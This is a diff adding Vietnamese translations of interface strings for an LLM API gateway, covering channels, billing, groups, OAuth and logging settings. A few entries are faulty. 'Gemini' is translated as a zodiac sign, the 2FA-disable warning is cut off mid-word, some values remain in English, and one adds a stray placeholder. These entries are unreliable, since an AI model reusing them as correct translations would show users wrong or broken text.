+    "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+    "footer.columns.related.links.neko": "neko-api-key-tool",
+    "footer.columns.related.links.oneApi": "One API",
+    "footer.columns.related.title": "Các Dự Án Liên Quan",
+    "footer.defaultCopyright": "Bản quyền được bảo lưu.",
+    "For channels added after May 10, 2025, no need to remove \".\" from model names during deployment": "Đối với các kênh được thêm sau ngày 10 tháng 5 năm 2025, không cần loại bỏ \".\" khỏi tên mô hình trong quá trình triển khai",
+    "For private deployments, format: https://fastgpt.run/api/openapi": "Đối với các triển khai riêng tư, định dạng: https://fastgpt.run/api/openapi",
+    "Force AUTH LOGIN": "Bắt buộc AUTH LOGIN",
+    "Force Format": "Buộc định dạng",
+    "Force format response to OpenAI standard (OpenAI channel only)": "Buộc định dạng phản hồi theo tiêu chuẩn OpenAI (chỉ kênh OpenAI)",
+    "Force SMTP authentication using AUTH LOGIN method": "Bắt buộc xác thực SMTP sử dụng phương thức AUTH LOGIN",
+    "Forgot password": "Quên mật khẩu",
+    "Forgot password?": "Quên mật khẩu?",
+    "Form reset to saved values": "Đã đặt lại biểu mẫu về các giá trị đã lưu",
+    "Format": "Định dạng",
+    "Format JSON": "Định dạng JSON",
+    "Format:": "Định dạng:",
+    "Format: Access Key ID|Secret Access Key": "Định dạng: ID khóa truy cập|Khóa truy cập bí mật",
+    "Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)": "Định dạng: AccessKey|SecretKey (hoặc chỉ ApiKey nếu hệ thống thượng nguồn là New API)",
+    "Format: Ak|Sk|Region": "Định dạng: Ak|Sk|Region",
+    "Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041": "Định dạng: APIKey-AppId, ví dụ: fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041",
+    "Format: APIKey|SecretKey": "Định dạng: APIKey|SecretKey",
+    "Format: APPID|APISecret|APIKey": "Định dạng: APPID|APISecret|APIKey",
+    "Format: AppId|SecretId|SecretKey": "Định dạng: AppId|SecretId|SecretKey",
+    "Forward requests directly to upstream providers without any post-processing.": "Chuyển tiếp các yêu cầu trực tiếp đến các nhà cung cấp ngược dòng mà không cần xử lý hậu kỳ nào.",
+    "Free: {{free}} / Total: {{total}}": "Còn trống: {{free}} / Tổng: {{total}}",
+    "Friendly name to identify this channel": "Tên thân thiện để nhận dạng kênh này",
+    "From Address": "Địa chỉ Người gửi",
+    "From IO.NET deployment": "Từ triển khai IO.NET",
+    "From model redirect, not yet added to models list": "Từ chuyển hướng mô hình, chưa được thêm vào danh sách mô hình",
+    "Frontend Theme": "Giao diện Frontend",
+    "Full API Key": "Khóa API đầy đủ",
+    "Full Base URL (supports": "URL cơ sở đầy đủ (hỗ trợ",
+    "Full Code": "Mã đầy đủ",
+    "Functions": "Hàm",
+    "GC Count": "Số lần GC",
+    "GC executed": "GC đã thực thi",
+    "GC execution failed": "Thực thi GC thất bại",
+    "Gemini": "Song Tử",
+    "Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.": "Gemini sẽ tiếp tục tự động phát hiện chế độ suy nghĩ ngay cả khi bộ điều hợp bị tắt. Chỉ bật tính năng này khi bạn cần kiểm soát chi tiết hơn về giá cả và lập ngân sách.",
+    "General": "Chung",
+    "General Settings": "General settings",
+    "Generate a Codex OAuth credential and paste it into the channel key field.": "Tạo thông tin xác thực OAuth Codex và dán vào trường khóa kênh.",
+    "Generate and manage your API access token": "Tạo và quản lý mã thông báo truy cập API của bạn",
+    "Generate credential": "Tạo thông tin xác thực",
+    "Generate Lyrics": "Tạo lời bài hát",
+    "Generate Music": "Tạo nhạc",
+    "Generate new backup codes for account recovery": "Tạo mã dự phòng mới để khôi phục tài khoản",
+    "Generate New Codes": "Tạo mã mới",
+    "Generated image": "Ảnh được tạo",
+    "Generating new codes will invalidate all existing backup codes.": "Tạo mã mới sẽ vô hiệu hóa tất cả các mã dự phòng hiện có.",
+    "Generating...": "Đang tạo...",
+    "Generic cache": "Bộ đệm chung",
+    "Get notified when balance falls below this value": "Nhận thông báo khi số dư giảm xuống dưới giá trị này",
+    "Get Started": "Bắt đầu",
+    "GitHub": "GitHub",
+    "Give the group a recognizable name and optional description.": "Đặt cho nhóm một cái tên dễ nhận biết và mô tả tùy chọn.",
+    "Give this group a recognizable name.": "Hãy đặt cho nhóm này một cái tên dễ nhận biết.",
+    "Global configuration and administrative tools.": "Cấu hình toàn cục và công cụ quản trị.",
+    "Global Coverage": "Phạm vi toàn cầu",
+    "Global Model Configuration": "Cấu hình Mô hình Toàn cầu",
+    "Go Back": "Quay lại",
+    "Go back and edit": "Quay lại và chỉnh sửa",
+    "Go to Dashboard": "Truy cập Dashboard",
+    "Go to first page": "Go to the first page",
+    "Go to io.net API Keys": "Đi đến Khóa API io.net",
+    "Go to last page": "Go to the last page",
+    "Go to next page": "Đi đến trang tiếp theo",
+    "Go to previous page": "Quay lại trang trước",
+    "Go to settings": "Đi tới cài đặt",
+    "Go to Settings": "Đi đến Cài đặt",
+    "Good": "Tốt",
+    "Gotify Application Token": "Mã thông báo ứng dụng Gotify",
+    "Gotify Documentation": "Tài liệu Gotify",
+    "Gotify Server URL": "URL máy chủ Gotify",
+    "gpt-3.5-turbo": "gpt-3.5-turbo",
+    "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+    "gpt-4": "gpt-4",
+    "gpt-4, claude-3-opus, etc.": "gpt-4, claude-3-opus, v.v.",
+    "GPU count": "Số lượng GPU",
+    "Grok": "Grok",
+    "Grok Settings": "Cài đặt Grok",
+    "Group": "Nhóm",
+    "Group & Quota": "Nhóm & Hạn mức",
+    "Group added. Click \"Save Settings\" to apply.": "Nhóm đã được thêm. Nhấp vào \"Lưu Cài đặt\" để áp dụng.",
+    "Group channels by tag for batch operations": "Nhóm kênh theo thẻ để thực hiện các thao tác hàng loạt",
+    "Group config overrides global limits, shares the same period": "Cấu hình nhóm ghi đè giới hạn toàn cầu, chia sẻ cùng một chu kỳ",
+    "Group deleted. Click \"Save Settings\" to apply.": "Nhóm đã bị xóa. Nhấp vào \"Lưu Cài đặt\" để áp dụng.",
+    "Group details": "Chi tiết nhóm",
+    "Group identifier": "Định danh nhóm",
+    "Group is required": "Yêu cầu nhóm",
+    "Group name": "Tên nhóm",
+    "Group Name": "Tên Nhóm",
+    "Group name cannot be changed when editing.": "Tên nhóm không thể thay đổi khi chỉnh sửa.",
+    "group ratio": "tỷ lệ nhóm",
+    "Group Ratio": "Tỷ lệ nhóm",
+    "Group ratios": "Tỷ lệ nhóm",
+    "Group updated. Click \"Save Settings\" to apply.": "Nhóm đã được cập nhật. Nhấp vào \"Lưu Cài đặt\" để áp dụng.",
+    "Group-based rate limits": "Giới hạn tỷ lệ dựa trên nhóm",
+    "Group:": "Nhóm:",
+    "Group: {{ratio}}x": "Nhóm: {{ratio}}x",
+    "Groups": "Nhóm",
+    "Groups *": "Nhóm *",
+    "Groups that users can select when creating API keys.": "Các nhóm mà người dùng có thể chọn khi tạo khóa API.",
+    "Guardrails": "Hàng rào bảo vệ",
+    "Guest": "Khách",
+    "h": "h",
+    "Haiku Model": "Mô hình Haiku",
+    "Hang tight while we finish connecting your account.": "Hãy chờ một chút trong khi chúng tôi hoàn tất việc kết nối tài khoản của bạn.",
+    "Hang tight while we securely link this account to your profile.": "Hãy chờ một chút trong khi chúng tôi liên kết bảo mật tài khoản này với hồ sơ của bạn.",
+    "Hardware": "Phần cứng",
+    "Hardware type": "Loại phần cứng",
+    "Has been disabled": "Đã vô hiệu hóa thành công",
+    "Has been enabled": "Đã kích hoạt thành công",
+    "Has been invalidated": "Đã vô hiệu hóa thành công",
+    "Have a Code?": "Có mã không?",
+    "Header": "Header",
+    "Header navigation": "Điều hướng đầu trang",
+    "Header Override": "Ghi đè tiêu đề",
+    "Hidden — verify to reveal": "Ẩn — xác minh để hiển thị",
+    "Hide": "Ẩn",
+    "Hide API key": "Ẩn khóa API",
+    "High Performance": "Hiệu suất cao",
+    "High-risk operation confirmation": "Xác nhận thao tác rủi ro cao",
+    "High-risk status code retry confirmation text": "TÔI XÁC NHẬN",
+    "High-risk status code retry input mismatch": "Văn bản nhập không khớp, vui lòng thử lại.",
+    "High-risk status code retry input placeholder": "Vui lòng nhập văn bản xác nhận ở trên",
+    "High-risk status code retry risk check 1": "Tôi hiểu rằng việc thử lại với các mã trạng thái này có thể khiến nhà cung cấp tính phí bình thường, và các khoản phí này không thể thu hồi.",
+    "High-risk status code retry risk check 2": "Tôi hiểu rằng các mã trạng thái này thường cho biết yêu cầu đã được xử lý thành công, và việc thử lại có thể dẫn đến tính phí trùng lặp.",
+    "High-risk status code retry risk check 3": "Tôi thừa nhận rằng các cấu hình này có thể gây tổn thất tài chính đáng kể và chấp nhận tất cả rủi ro liên quan.",
+    "High-risk status code retry risk check 4": "Tôi đã kiểm tra kỹ các quy tắc chuyển hướng mã trạng thái ở trên và xác nhận chúng chính xác.",
+    "High-risk status code retry risk disclaimer": "Các quy tắc chuyển hướng mã trạng thái sau chứa cấu hình rủi ro cao. Thử lại trên các mã này có thể phát sinh phí không thể thu hồi. Vui lòng xác minh cẩn thận.",
+    "Higher priority channels are selected first": "Các kênh ưu tiên cao hơn được chọn trước tiên",
+    "Historical Usage": "Lịch sử sử dụng",
+    "History of Midjourney-style image tasks.": "Lịch sử các tác vụ hình ảnh kiểu Midjourney.",
+    "Hit criteria: If cached tokens exist in usage, it counts as a hit.": "Tiêu chí trúng: Nếu cached tokens tồn tại trong usage, được tính là trúng.",
+    "Hit Rate": "Tỷ lệ trúng",
+    "Hit tier": "Bậc trúng",
+    "Home": "Trang chủ",
+    "Home Page Content": "Nội dung Trang chủ",
+    "Hostname or IP of your SMTP provider": "Tên máy chủ hoặc IP của nhà cung cấp SMTP của bạn",
+    "Hour": "Giờ",
+    "hours": "giờ",
+    "How client credentials are sent to the token endpoint": "Cách thông tin xác thực client được gửi đến endpoint token",
+    "How frequently the system tests all channels": "Tần suất hệ thống kiểm tra tất cả các kênh là bao nhiêu?",
+    "How It Works": "Cách hoạt động",
+    "How model mapping works": "Cách ánh xạ mô hình hoạt động",
+    "How much to charge for each US dollar of balance (Epay)": "Tính phí bao nhiêu cho mỗi đô la Mỹ số dư (Epay)",
+    "How this model name should match requests": "Tên mô hình này nên khớp với các yêu cầu như thế nào",
+    "How to get an io.net API Key": "Cách lấy Khóa API io.net",
+    "How to reset my quota?": "Cách đặt lại hạn mức của tôi?",
+    "How to select keys: random or sequential polling": "Cách chọn khóa: thăm dò ngẫu nhiên hay tuần tự",
+    "How will you use the platform?": "Bạn sẽ sử dụng nền tảng như thế nào?",
+    "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+    "https://api.example.com": "https://api.example.com",
+    "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+    "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+    "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+    "https://docs.example.com": "https://docs.example.com",
+    "https://example.com": "https://example.com",
+    "https://example.com/logo.png": "https://example.com/logo.png",
+    "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+    "https://example.com/topup": "https://example.com/topup",
+    "https://example.com/webhook": "https://example.com/webhook",
+    "https://gateway.example.com": "https://gateway.example.com",
+    "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+    "https://gotify.example.com": "https://gotify.example.com",
+    "https://pay.example.com": "https://pay.example.com",
+    "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+    "https://status.example.com": "https://status.example.com",
+    "https://wechat-server.example.com": "https://wechat-server.example.com",
+    "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+    "https://your-server.example.com": "https://your-server.example.com",
+    "Human-readable name shown to users during Passkey prompts.": "Tên dễ đọc hiển thị cho người dùng trong quá trình nhắc nhở Passkey.",
+    "I confirm enabling high-risk retry": "Tôi xác nhận bật thử lại rủi ro cao",
+    "I have read and agree to the": "Tôi đã đọc và đồng ý với",
+    "I understand that disabling 2FA will remove all protection and backup codes": "Tôi hiểu rằng việc vô",
+    "Icon": "Biểu tượng",
+    "Icon file must be 100 KB or smaller": "Tệp biểu tượng phải có kích thước 100 KB hoặc nhỏ hơn",
+    "Icon identifier (e.g. github, gitlab)": "Mã định danh biểu tượng (ví dụ: github, gitlab)",
+    "ID": "ID",
+    "If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.": "Nếu một lỗi thượng nguồn chứa bất kỳ từ khóa nào trong số này (không phân biệt chữ hoa chữ thường), kênh sẽ tự động bị vô hiệu hóa.",
+    "If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.": "Nếu ủy quyền thành công, JSON tạo ra sẽ được chèn vào trường khóa. Bạn vẫn cần lưu kênh để áp dụng.",
+    "If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing": "Nếu kết nối với dự án relay One API hoặc New API upstream, hãy sử dụng loại OpenAI thay thế trừ khi bạn biết mình đang làm gì",
+    "If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.": "Nếu kênh ưu tiên thất bại và thử lại thành công trên kênh khác, cập nhật ưu tiên sang kênh thành công.",
+    "Image": "Hình ảnh",
+    "Image Generation": "Tạo hình ảnh",
+    "Image In": "Ảnh vào",
+    "Image input": "Đầu vào hình ảnh",
+    "Image Out": "Ảnh ra",
+    "Image Preview": "Xem trước ảnh",
+    "Image ratio": "Tỷ lệ hình ảnh",
+    "Image to Video": "Ảnh sang video",
+    "Image Tokens": "Token hình ảnh",
+    "Import to CC Switch": "Nhập vào CC Switch",
+    "In Progress": "Đang xử lý",
+    "In:": "Vào:",
+    "Include Group": "Bao gồm nhóm",
+    "Include Model": "Bao gồm mô hình",
+    "Include Rule Name": "Bao gồm tên quy tắc",
+    "Including failed requests, 0 = unlimited": "Bao gồm các yêu cầu thất bại, 0 = không giới hạn",
+    "Index": "Chỉ mục",
+    "Initial quota given to new users": "Hạn mức ban đầu cấp cho người dùng mới",
+    "Initialization failed, please try again.": "Khởi tạo thất bại, vui lòng thử lại.",
+    "Initialize": "Khởi tạo",
+    "Initialize system": "Khởi tạo hệ thống",
+    "Initializing…": "Đang khởi tạo…",
+    "Inpaint": "Inpaint",
+    "Input": "Đầu vào",
+    "Input mode": "Chế độ nhập",
+    "Input price": "Giá đầu vào",
+    "Input tokens": "Token đầu vào",
+    "Input Tokens": "Token đầu vào",
+    "Inspect user prompts": "Kiểm tra lời nhắc của người dùng",
+    "Instance": "Phiên bản",
+    "Integrations": "Tích hợp",
+    "Inter-group overrides": "Ghi đè liên nhóm",
+    "Inter-group ratio overrides": "Tỷ lệ liên nhóm ghi đè",
+    "Internal notes (not shown to users)": "Ghi chú nội bộ (không hiển thị cho người dùng)",
+    "Internal Server Error!": "Lỗi máy chủ nội bộ!",
+    "Invalid chat link. Please contact the administrator.": "Liên kết trò chuyện không hợp lệ. Vui lòng liên hệ quản trị viên.",
+    "Invalid chat link. Please contact your administrator.": "Liên kết trò chuyện không hợp lệ. Vui lòng liên hệ với quản trị viên của bạn.",
+    "Invalid code": "Mã không hợp lệ",
+    "Invalid JSON": "JSON không hợp lệ",
+    "Invalid JSON format": "Định dạng JSON không hợp lệ",
+    "Invalid JSON format or values out of allowed range": "Định dạng JSON không hợp lệ hoặc giá trị ngoài phạm vi cho phép",
+    "Invalid JSON in parameter override template": "JSON không hợp lệ trong mẫu ghi đè tham số",
+    "Invalid JSON string.": "Chuỗi JSON không hợp lệ.",
+    "Invalid model mapping format": "Định dạng ánh xạ mô hình không hợp lệ",
+    "Invalid Passkey registration response": "Phản hồi đăng ký Passkey không hợp lệ",
+    "Invalid Passkey response": "Phản hồi Passkey không hợp lệ",
+    "Invalid payment redirect URL": "URL chuyển hướng thanh toán không hợp lệ",
+    "Invalid reset link, please request a new password reset": "Liên kết đặt lại không hợp lệ, vui lòng yêu cầu đặt lại mật khẩu mới",
+    "Invalid reset link, please request a new password reset.": "Liên kết đặt lại không hợp lệ, vui lòng yêu cầu đặt lại mật khẩu mới.",
+    "Invalid rules JSON format": "Định dạng JSON quy tắc không hợp lệ",
+    "Invalid status code mapping entries: {{entries}}": "Mục ánh xạ mã trạng thái không hợp lệ: {{entries}}",
+    "Invalidate": "Vô hiệu hóa",
+    "Invalidated": "Đã vô hiệu",
+    "Invitation Code": "Mã mời",
+    "Invitation Quota": "Hạn mức lời mời",
+    "Invite Info": "Thông tin mời",
+    "Invited": "Đã mời",
+    "Invited by user ID": "Được mời bởi ID người dùng",
+    "Invited Users": "Người dùng được mời",
+    "Invitee Reward": "Referral reward",
+    "Inviter": "Người mời",
+    "Inviter Reward": "Phần thưởng người mời",
+    "Invites": "Mời",
+    "io.net API Key": "Khóa API io.net",
+    "io.net Deployments": "Triển khai io.net",
+    "IP": "IP",
+    "IP Address": "Địa chỉ IP",
+    "IP Filter Mode": "Lọc IP",
+    "IP Restriction": "Giới hạn IP",
+    "IP Whitelist (supports CIDR)": "Danh sách trắng IP (hỗ trợ CIDR)",
+    "is less than the configured maximum cache size": "nhỏ hơn kích thước bộ nhớ đệm tối đa đã cấu hình",
+    "is the default price; ": "là giá mặc định; ",
+    "It seems like the page you're looking for": "Có vẻ như trang bạn đang tìm kiếm",
+    "Items": "Mục",
+    "Japanese": "Nhật Bản",
+    "Jimeng": "Jimeng",
+    "Jina": "Jina",
+    "JSON": "JSON",
+    "JSON array of group identifiers. When enabled below, new tokens rotate through this list.": "Mảng JSON của các định danh nhóm. Khi được bật bên dưới, các token mới sẽ luân phiên qua danh sách này.",
+    "JSON Editor": "Trình chỉnh sửa JSON",
+    "JSON format supports service account JSON files": "Định dạng JSON hỗ trợ các tệp JSON tài khoản dịch vụ",
+    "JSON map of group → description exposed when users create API keys.": "Ánh xạ JSON của nhóm → mô tả được hiển thị khi người dùng tạo khóa API.",
+    "JSON map of group → ratio applied when the user selects the group explicitly.": "Bản đồ JSON của nhóm → tỷ lệ được áp dụng khi người dùng chọn nhóm đó một cách rõ ràng.",
+    "JSON map of model → multiplier applied to quota billing.": "Bản đồ JSON của mô hình → hệ số nhân áp dụng cho thanh toán hạn mức.",
+    "JSON map of model → USD cost per request. Takes precedence over ratio based billing.": "Ánh xạ JSON của mô hình → chi phí USD mỗi yêu cầu. Ưu tiên hơn thanh toán dựa trên tỷ lệ.",
+    "JSON Mode": "Chế độ JSON",
+    "JSON must be an object": "JSON phải là object",
+    "JSON object:": "Đối tượng JSON:",
+    "JSON-based access control rules. Leave empty to allow all users.": "Quy tắc kiểm soát truy cập dựa trên JSON. Để trống để cho phép tất cả người dùng.",
+    "Just now": "Vừa nãy",
+    "JustSong": "JustSong",
+    "K": "K",
+    "Keep enabled if you need to proxy requests for different upstream accounts.": "Giữ bật nếu bạn cần proxy yêu cầu cho các tài khoản upstream khác nhau.",
+    "Keep this above 1 minute to avoid heavy database load": "Giữ cái này trên 1 phút để tránh tải nặng cơ sở dữ liệu",
+    "Keep-alive Ping": "Ping duy trì",
+    "Key": "Khóa",
+    "Key Fingerprint": "Vân tay khóa",
+    "Key Sources": "Nguồn khóa",
+    "Key Summary": "Tóm tắt khóa",
+    "Key Update Mode": "Chế độ cập nhật khóa",
+    "Kling": "Kling",
+    "Knowledge Base ID *": "Mã số Cơ sở kiến thức *",
+    "Landing page with system overview.": "Trang chủ với tổng quan hệ thống.",
+    "Last Login": "Lần đăng nhập cuối",
+    "Last Seen": "Lần cuối",
+    "Last Tested": "Được kiểm tra lần cuối",
+    "Last updated:": "Cập nhật lần cuối:",
+    "Last Used": "Dùng lần cuối",
+    "Last used:": "Lần cuối sử dụng:",
+    "Layout": "Bố cục",
+    "Learn more": "Tìm hiểu thêm",
+    "Learn more:": "Tìm hiểu thêm:",
+    "Leave": "Rời khỏi",
+    "Leave blank to keep the existing credential": "Để trống để giữ thông tin xác thực hiện có",
+    "Leave blank to keep the existing key": "Để trống để giữ khóa hiện có",
+    "Leave blank unless rotating the secret": "Để trống trừ khi xoay vòng bí mật",
+    "Leave empty for never expires": "Để trống để không bao giờ hết hạn",
+    "Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Để trống để tắt yêu cầu đồng ý. Hỗ trợ Markdown, HTML hoặc một URL đầy đủ để chuyển hướng người dùng.",
+    "Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Để trống để vô hiệu hóa yêu cầu chính sách bảo mật. Hỗ trợ Markdown, HTML hoặc một URL đầy đủ để chuyển hướng người dùng.",
+    "Leave empty to disband the tag": "Để trống để giải tán thẻ",
+    "Leave empty to keep existing key": "Để trống để giữ khóa hiện có",
+    "Leave empty to keep unchanged": "Để trống để giữ nguyên",
+    "Leave empty to use account email": "Để trống để sử dụng email tài khoản",
+    "Leave empty to use default": "Để trống để sử dụng mặc định",
+    "Leave empty to use system temp directory": "Để trống để sử dụng thư mục tạm của hệ thống",
+    "Leave empty to use username": "Để trống để sử dụng tên người dùng",
+    "Less": "Ít hơn",
+    "Light": "Ánh sáng",
+    "Lightning Fast": "Nhanh như chớp",
+    "Limit period": "Thời hiệu",
+    "Limit Reached": "Đã đạt giới hạn",
+    "Limit which models can be used with this key": "Giới hạn các mô hình có thể được sử dụng với khóa này",
+    "Limited": "Giới hạn",
+    "LingYiWanWu": "LingYiWanWu",
+    "Link to your documentation site": "Liên kết đến trang web tài liệu của bạn",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO Client ID": "LinuxDO Mã khách hàng",
+    "LinuxDO Client Secret": "LinuxDO Bí mật máy khách",
+    "List of models supported by this channel. Use comma to separate multiple models.": "Danh sách các mô hình được hỗ trợ bởi kênh này. Sử dụng dấu phẩy để phân tách nhiều mô hình.",
+    "List of origins (one per line) allowed for Passkey registration and authentication.": "Danh sách các nguồn gốc (mỗi dòng một mục) được phép đăng ký và xác thực Passkey.",
+    "List view": "Xem dạng danh sách",
+    "LLM prompt helper": "Trợ lý prompt LLM",
+    "Load Balancing": "Tải cân bằng",
+    "Load template...": "Tải mẫu...",
+    "Loader": "Trình tải",
+    "Loading configuration": "Đang tải cấu hình",
+    "Loading content settings...": "Đang tải cài đặt nội dung...",
+    "Loading current models...": "Đang tải các mô hình hiện tại...",
+    "Loading failed": "Tải thất bại",
+    "Loading maintenance settings...": "Đang tải cài đặt bảo trì...",
+    "Loading settings...": "Đang tải cài đặt...",
+    "Loading setup status…": "Đang tải trạng thái cài đặt…",
+    "Loading...": "Đang tải...",
+    "Local": "Địa phương",
+    "Local Billing": "Thanh toán nội địa",
+    "Local models": "Mô hình cục bộ",
+    "Locations": "Vị trí",
+    "Locked": "Đã khóa",
+    "log": "nhật ký",
+    "Log Details": "Chi tiết Nhật ký",
+    "Log Directory": "Thư mục nhật ký",
+    "Log File Count": "Số tệp nhật ký",
+    "Log files older than {{value}} days will be deleted.": "Các tệp nhật ký cũ hơn {{value}} ngày sẽ bị xóa.",
+    "Log IP address for usage and error logs": "Ghi lại địa chỉ IP cho nhật ký sử dụng và lỗi",
+    "Log Maintenance": "Bảo trì Nhật ký",
+    "Log Type": "Loại nhật ký",
+    "Login failed": "Đăng nhập thất bại",
+    "Logo": "Logo",
+    "Logo URL": "URL Logo",
+    "Logs": "Nhật ký",
+    "m": "m",
+    "Maintain a list of common questions for the dashboard help panel": "Duy trì danh sách các câu hỏi thường gặp cho bảng trợ giúp của bảng điều khiển",
+    "Maintenance": "Bảo trì",
+    "Make it easier for teammates to pick the right group.": "Giúp đồng đội dễ dàng chọn đúng nhóm hơn.",
+    "Manage": "Quản lý",
+    "Manage account bindings for this user": "Quản lý liên kết tài khoản cho người dùng này",
+    "Manage and configure": "Quản lý và cấu hình",
+    "Manage API channels and provider configurations": "Quản lý các kênh API và cấu hình nhà cung cấp",
+    "Manage Bindings": "Quản lý liên kết",
+    "Manage catalog visibility and pricing.": "Quản lý hiển thị danh mục và giá cả.",
+    "Manage custom OAuth providers for user authentication": "Quản lý nhà cung cấp OAuth tùy chỉnh để xác thực người dùng",
+    "Manage Keys": "Quản lý Khóa",
+    "Manage local models for:": "Quản lý mô hình cục bộ cho:",
+    "Manage model deployments": "Quản lý triển khai mô hình",
+    "Manage model metadata and configuration": "Quản lý siêu dữ liệu và cấu hình mô hình",
+    "Manage multi-key status and configuration for this channel": "Quản lý trạng thái và cấu hình đa khóa cho kênh này",
+    "Manage Ollama Models": "Quản lý mô hình Ollama",
+    "Manage redemption codes for quota top-up": "Quản lý mã quy đổi để nạp thêm hạn mức",
+    "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.": "Quản lý tệp nhật ký máy chủ. Tệp nhật ký tích lũy theo thời gian; nên dọn dẹp định kỳ để giải phóng dung lượng đĩa.",
+    "Manage subscription plan creation, pricing and status": "Quản lý tạo, định giá và trạng thái gói đăng ký",
+    "Manage subscription plans and pricing.": "Quản lý gói đăng ký và giá cả.",
+    "Manage Subscriptions": "Quản lý đăng ký",
+    "Manage users and their permissions": "Quản lý người dùng và quyền của họ",
+    "Manage Vendors": "Quản lý Nhà cung cấp",
+    "Manage your API keys for accessing the service": "Quản lý các khóa API của bạn để truy cập dịch vụ",
+    "Manage your balance and payment methods": "Quản lý số dư và phương thức thanh toán của bạn",
+    "Manage your security settings and account access": "Quản lý cài đặt bảo mật và quyền truy cập tài khoản của bạn",
+    "Manual Disabled": "Vô hiệu hóa thủ công",
+    "Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).": "Ánh xạ các trường từ phản hồi thông tin người dùng sang thuộc tính người dùng cục bộ. Hỗ trợ đường dẫn lồng nhau (ví dụ: ocs.data.id).",
+    "Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.": "Ánh xạ các mã định danh mô hình với các phiên bản API Gemini. Một mục `default` áp dụng khi không tìm thấy kết quả khớp cụ thể nào.",
+    "Map request model names to actual provider model names (JSON format)": "Ánh xạ tên mô hình yêu cầu đến tên mô hình thực tế của nhà cung cấp (định dạng JSON)",
+    "Map response status codes (JSON format)": "Ánh xạ mã trạng thái phản hồi (định dạng JSON)",
+    "Map upstream status codes to different codes": "Ánh xạ mã trạng thái upstream sang các mã khác",
+    "Match model name exactly": "Khớp chính xác tên mô hình",
+    "Match models containing this name": "Khớp các mô hình chứa tên này",
+    "Match models ending with this name": "Khớp các mô hình kết thúc bằng tên này",
+    "Match models starting with this name": "Khớp các mô hình bắt đầu bằng tên này",
+    "Match Type": "Loại đối sánh",
+    "Matched": "Đã khớp",
+    "Matched Tier": "Bậc khớp",
+    "Matching Rules": "Quy tắc khớp",
+    "Max Disk Cache Size (MB)": "Dung lượng tối đa bộ nhớ đệm đĩa (MB)",
+    "Max Entries": "Số mục tối đa",
+    "Max Requests (incl. failures)": "Maximum number of requests (including errors)",
+    "Max Requests (including failures)": "Số yêu cầu tối đa (bao gồm cả các lỗi)",
+    "Max requests per period": "Yêu cầu tối đa mỗi khoảng thời gian",
+    "Max Success": "Thành công tối đa",
+    "Max successful requests": "Số yêu cầu thành công tối đa",
+    "Max Successful Requests": "Yêu cầu thành công tối đa",
+    "Maximum 1000 characters. Supports Markdown and HTML.": "Tối đa 1000 ký tự. Hỗ trợ Markdown và HTML.",
+    "Maximum 200 characters": "Tối đa 200 ký tự",
+    "Maximum 500 characters. Supports Markdown and HTML.": "Tối đa 500 ký tự. Hỗ trợ Markdown và HTML.",
+    "Maximum check-in quota": "Hạn ngạch điểm danh tối đa",
+    "Maximum quota amount awarded for check-in": "Số lượng hạn ngạch tối đa được trao cho điểm danh",
+    "maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647": "maxRequests ≥ 0, maxSuccess ≥ 1, cả hai đều ≤ 2,147,483,647",
+    "Memory Hits": "Lượt truy cập bộ nhớ",
+    "Memory Threshold (%)": "Ngưỡng bộ nhớ (%)",
+    "Merchant ID": "Mã thương gia",
+    "Merchant ID is required": "Bắt buộc nhập Merchant ID",
+    "Message Priority": "Ưu tiên tin nhắn",
+    "Metadata": "Siêu dữ liệu",
+    "Midjourney": "Midjourney",
+    "MidjourneyPlus": "MidjourneyPlus",
+    "Min Top-up": "Nạp tối thiểu",
+    "Min Top-up:": "Nạp tối thiểu:",
+    "MiniMax": "MiniMax",
+    "Minimum check-in quota": "Hạn ngạch điểm danh tối thiểu",
+    "Minimum LinuxDO trust level required": "Yêu cầu mức độ tin cậy {{LinuxDO}} tối thiểu",
+    "Minimum quota amount awarded for check-in": "Số lượng hạn ngạch tối thiểu được trao cho điểm danh",
+    "Minimum recharge amount in USD": "Số tiền nạp tối thiểu bằng USD",
+    "Minimum recharge amount to qualify for this discount.": "Số tiền nạp tối thiểu để đủ điều kiện nhận chiết khấu này.",
+    "Minimum top-up (optional)": "Số tiền nạp tối thiểu (tùy chọn)",
+    "Minimum top-up (USD)": "Mức nạp tối thiểu (USD)",
+    "Minimum top-up amount must be at least 1": "Số tiền nạp tối thiểu phải từ 1 trở lên",
+    "Minimum top-up quantity": "Số lượng nạp tối thiểu",
+    "Minimum topup amount: {{amount}}": "Số tiền nạp tối thiểu: {{amount}}",
+    "Minimum Trust Level": "Mức độ tin cậy tối thiểu",
+    "Minimum:": "Tối thiểu:",
+    "Minute": "Phút",
+    "minutes": "phút",
+    "Missing code": "Thiếu mã",
+    "Missing Models": "Thiếu Mô hình",
+    "Missing user data from Passkey login response": "Thiếu dữ liệu người dùng từ phản hồi đăng nhập Passkey",
+    "Mistral": "Mistral",
+    "Mode": "Chế độ",
+    "model": "mô hình",
